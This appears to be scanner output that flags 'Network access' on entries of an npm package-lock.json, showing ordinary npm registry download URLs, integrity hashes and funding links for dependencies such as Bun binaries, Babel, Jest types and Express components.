    "node_modules/@oven/bun-darwin-x64": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz",
  • Network accessline 1539
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz",       "integrity": "sha512-gZTxZuLjkUhAWjTETu3tw0WhsEdNkJ64daj60ybhPf835a2yollV3yTkK9JozvzKPx4TRFzLSl8C+U525pxVbw==",
  • Network accessline 1540
    "resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz",
  • Network accessline 1551
    "node_modules/@oven/bun-linux-aarch64": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz",
  • Network accessline 1552
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz",       "integrity": "sha512-3BBP9ovJ2RGHFH6Ae1CAtxNtG1+YY6GD6rmYbsUosoAk9+OEl6zeDQ/k4fBkc6dYOJCtWnx8hUxzNzQATSmvYQ==",
  • Network accessline 1553
    "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz",
  • Network accessline 1567
    "node_modules/@oven/bun-linux-aarch64-musl": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz",
  • Network accessline 1568
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz",       "integrity": "sha512-+Sm6y+lSiSFBOtXmnekp5Q6n1tUKlyv71FCPWBc61Cgb14T5eBs8SN/nh4MUCOKzONkI3O+as3MGUgikS
  • Network accessline 1569
    "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz",
  • Network accessline 1583
    "node_modules/@oven/bun-linux-x64": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz",
  • Network accessline 1584
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz",       "integrity": "sha512-9/E/UXOTpSo3YsV5g+FhtTd/qTpiWoKuxS12cqtuYA1ssu9fRAoPQnipFgGyck3tWO63iUdxBiygq+kELFawng==",
  • Network accessline 1585
    "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz",
  • Network accessline 1599
    "node_modules/@oven/bun-linux-x64-musl": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz",
  • Network accessline 1600
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz",       "integrity": "sha512-vVTKUg1bnPhRP/Hp73jIVoFh2vPFNYEqYX0ERKfZBOQEEHitNAeukZzzuUDZS0SoDCIpuWUGSpd/CDMbjdR+Uw=="
  • Network accessline 1601
    "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz",
  • Network accessline 1615
    "node_modules/@oven/bun-windows-x64": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz",
  • Network accessline 1616
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz",       "integrity": "sha512-+bN6OuVld/9diT/RLSXSW7JE6CvNE3gL9XsAEjULi1nUsXd6DNO6GuA9jNdNb3r8PdJFnYHr5aypNV1Oj3Rd9g==",
  • Network accessline 1617
    "resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz",
  • Network accessline 1628
    "node_modules/@resvg/resvg-wasm": {       "version": "2.6.2",       "resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz",
  • Network accessline 1629
    "version": "2.6.2",       "resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz",       "integrity": "sha512-FqALmHI8D4o6lk/LRWDnhw95z5eO+eAa6ORjVg09YRR7BkcM6oPHU9uyC0gtQG5vpFLvgpeU4+zEAz2H8APHNw==",
  • Network accessline 1630
    "resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz",
  • Network accessline 1637
    "node_modules/@sinclair/typebox": {       "version": "0.27.10",       "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz",
  • Network accessline 1638
    "version": "0.27.10",       "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz",       "integrity": "sha512-MTBk/3jGLNB2tVxv6uLlFh1iu64iYOQ2PbdOSK3NW8JZsmlaOh2q6sdtKowBhfw8QFLmYNzTW4/oK4uATIi6ZA==",
  • Network accessline 1639
    "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz",
  • Network accessline 1644
    "node_modules/@sinonjs/commons": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz",
  • Network accessline 1645
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz",       "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==",
  • Network accessline 1646
    "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz",
  • Network accessline 1654
    "node_modules/@sinonjs/fake-timers": {       "version": "10.3.0",       "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
  • Network accessline 1655
    "version": "10.3.0",       "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",       "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==",
  • Network accessline 1656
    "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
  • Network accessline 1664
    "node_modules/@stablelib/base64": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz",
  • Network accessline 1665
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz",       "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==",
  • Network accessline 1666
    "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz",
  • Network accessline 1672
    "node_modules/@types/babel__core": {       "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1673
    "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",       "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
  • Network accessline 1674
    "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1686
    "node_modules/@types/babel__generator": {       "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1687
    "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",       "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
  • Network accessline 1688
    "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1696
    "node_modules/@types/babel__template": {       "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1697
    "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",       "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
  • Network accessline 1698
    "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1707
    "node_modules/@types/babel__traverse": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1708
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",       "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
  • Network accessline 1709
    "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1717
    "node_modules/@types/graceful-fs": {       "version": "4.1.9",       "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz",
  • Network accessline 1718
    "version": "4.1.9",       "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz",       "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==",
  • Network accessline 1719
    "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz",
  • Network accessline 1727
    "node_modules/@types/istanbul-lib-coverage": {       "version": "2.0.6",       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",
  • Network accessline 1728
    "version": "2.0.6",       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",       "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+z
  • Network accessline 1729
    "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",
  • Network accessline 1734
    "node_modules/@types/istanbul-lib-report": {       "version": "3.0.3",       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",
  • Network accessline 1735
    "version": "3.0.3",       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",       "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA
  • Network accessline 1736
    "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",
  • Network accessline 1744
    "node_modules/@types/istanbul-reports": {       "version": "3.0.4",       "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz",
  • Network accessline 1745
    "version": "3.0.4",       "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz",       "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==",
  • Network accessline 1746
    "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz",
  • Network accessline 1754
    "node_modules/@types/node": {       "version": "25.6.0",       "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz",
  • Network accessline 1755
    "version": "25.6.0",       "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz",       "integrity": "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ==",
  • Network accessline 1756
    "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz",
  • Network accessline 1764
    "node_modules/@types/stack-utils": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",
  • Network accessline 1765
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",       "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==",
  • Network accessline 1766
    "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",
  • Network accessline 1771
    "node_modules/@types/yargs": {       "version": "17.0.35",       "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz",
  • Network accessline 1772
    "version": "17.0.35",       "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz",       "integrity": "sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg==",
  • Network accessline 1773
    "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz",
  • Network accessline 1781
    "node_modules/@types/yargs-parser": {       "version": "21.0.3",       "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",
  • Network accessline 1782
    "version": "21.0.3",       "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",       "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==",
  • Network accessline 1783
    "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",
  • Network accessline 1788
    "node_modules/accepts": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
  • Network accessline 1789
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",       "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==",
  • Network accessline 1790
    "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
  • Network accessline 1803
    "node_modules/accepts/node_modules/mime-db": {       "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 1804
    "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",       "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
  • Network accessline 1805
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 1814
    "node_modules/accepts/node_modules/mime-types": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 1815
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",       "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
  • Network accessline 1816
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 1827
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1828
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1829
    "url": "https://opencollective.com/express"
  • Network accessline 1832
    "node_modules/agent-base": {       "version": "7.1.4",       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
  • Network accessline 1833
    "version": "7.1.4",       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",       "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
  • Network accessline 1834
    "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
  • Network accessline 1842
    "node_modules/ajv": {       "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
  • Network accessline 1843
    "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",       "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==",
  • Network accessline 1844
    "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
  • Network accessline 1855
    "funding": {         "type": "github",         "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 1856
    "type": "github",         "url": "https://github.com/sponsors/epoberezkin"       }
  • Network accessline 1857
    "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 1860
    "node_modules/ajv-formats": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",
  • Network accessline 1861
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",       "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==",
  • Network accessline 1862
    "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",
  • Network accessline 1879
    "node_modules/ansi-escapes": {       "version": "4.3.2",       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
  • Network accessline 1880
    "version": "4.3.2",       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",       "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
  • Network accessline 1881
    "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
  • Network accessline 1890
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1891
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 1892
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1895
    "node_modules/ansi-regex": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
  • Network accessline 1896
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",       "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
  • Network accessline 1897
    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
  • Network accessline 1905
    "node_modules/ansi-styles": {       "version": "4.3.0",       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
  • Network accessline 1906
    "version": "4.3.0",       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",       "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
  • Network accessline 1907
    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
  • Network accessline 1916
    },       "funding": {         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
  • Network accessline 1917
    "funding": {         "url": "https://github.com/chalk/ansi-styles?sponsor=1"       }
  • Network accessline 1918
    "url": "https://github.com/chalk/ansi-styles?sponsor=1"
  • Network accessline 1921
    "node_modules/anymatch": {       "version": "3.1.3",       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
  • Network accessline 1922
    "version": "3.1.3",       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",       "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
  • Network accessline 1923
    "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
  • Network accessline 1935
    "node_modules/argparse": {       "version": "1.0.10",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
  • Network accessline 1936
    "version": "1.0.10",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
  • Network accessline 1937
    "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
  • Network accessline 1945
    "node_modules/asynckit": {       "version": "0.4.0",       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
  • Network accessline 1946
    "version": "0.4.0",       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",       "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
  • Network accessline 1947
    "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
  • Network accessline 1952
    "node_modules/babel-jest": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz",
  • Network accessline 1953
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz",       "integrity": "sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==",
  • Network accessline 1954
    "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz",
  • Network accessline 1974
    "node_modules/babel-plugin-istanbul": {       "version": "6.1.1",       "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
  • Network accessline 1975
    "version": "6.1.1",       "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",       "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA=="
  • Network accessline 1976
    "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
  • Network accessline 1991
    "node_modules/babel-plugin-istanbul/node_modules/istanbul-lib-instrument": {       "version": "5.2.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz",
  • Network accessline 1992
    "version": "5.2.1",       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz",       "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Y
  • Network accessline 1993
    "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz",
  • Network accessline 2008
    "node_modules/babel-plugin-istanbul/node_modules/semver": {       "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 2009
    "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
  • Network accessline 2010
    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 2018
    "node_modules/babel-plugin-jest-hoist": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz",
  • Network accessline 2019
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz",       "integrity": "sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYu
  • Network accessline 2020
    "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz",
  • Network accessline 2034
    "node_modules/babel-preset-current-node-syntax": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz",
  • Network accessline 2035
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz",       "integrity": "sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32
  • Network accessline 2036
    "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz",
  • Network accessline 2061
    "node_modules/babel-preset-jest": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz",
  • Network accessline 2062
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz",       "integrity": "sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==",
  • Network accessline 2063
    "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz",
  • Network accessline 2078
    "node_modules/balanced-match": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 2079
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",       "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
  • Network accessline 2080
    "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 2085
    "node_modules/baseline-browser-mapping": {       "version": "2.10.24",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz",
  • Network accessline 2086
    "version": "2.10.24",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz",       "integrity": "sha512-I2NkZOOrj2XuguvWCK6OVh9GavsNjZjK908Rq3mIBK25+GD8vPX5w2WdxVqnQ7xx3SrZJiCiZFu+/Oz
  • Network accessline 2087
    "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz",
  • Network accessline 2098
    "node_modules/body-parser": {       "version": "2.3.0",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",
  • Network accessline 2099
    "version": "2.3.0",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",       "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==",
  • Network accessline 2100
    "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",
  • Network accessline 2119
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2120
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2121
    "url": "https://opencollective.com/express"
  • Network accessline 2124
    "node_modules/body-parser/node_modules/content-type": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
  • Network accessline 2125
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",       "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==",
  • Network accessline 2126
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
